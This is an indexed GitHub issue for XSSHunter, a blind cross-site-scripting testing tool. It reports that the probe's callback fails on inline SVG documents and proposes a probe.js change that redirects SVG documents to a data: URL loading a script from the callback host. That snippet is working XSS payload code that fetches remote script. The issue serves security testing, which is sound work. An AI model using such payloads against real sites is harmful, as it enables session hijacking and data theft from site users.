mandatoryprogrammer / mandatoryprogrammer/xsshunter
XSSHunter fails to trigger on SVGDocument
Nobody has claimed this yet.
- Dominant language
- JavaScript
- Stars
- 1.6k
- Forks
- 302
- PR merge metrics
- No merged PRs in 30d
Description
This is a great tool for XSS testing and while I am playing with it, I noticed that if the Root document is an inline SVG image and using the XSSHunter probe, the XSSHunter JS callback fails to trigger.
Here's a change I made to probe.js by adding the following before if( document.readyState == "complete" ) { line that helps:
if( document instanceof SVGDocument ) {
document.location="data:text/html,%3Cscript src=[HOST_URL]%3E%3C/script%3E";
}
Basically, this is just creating a data url and injecting the script again from an HTMLDocument or it might be just using the data url as the payload.
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in probe.js at the document.readyState check and reproduce the failure with an inline SVG root document using the XSSHunter probe. Compare the existing HTML-document flow with the proposed SVGDocument handling. Done means the callback triggers for inline SVG documents while the existing probe behavior remains intact.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 35/100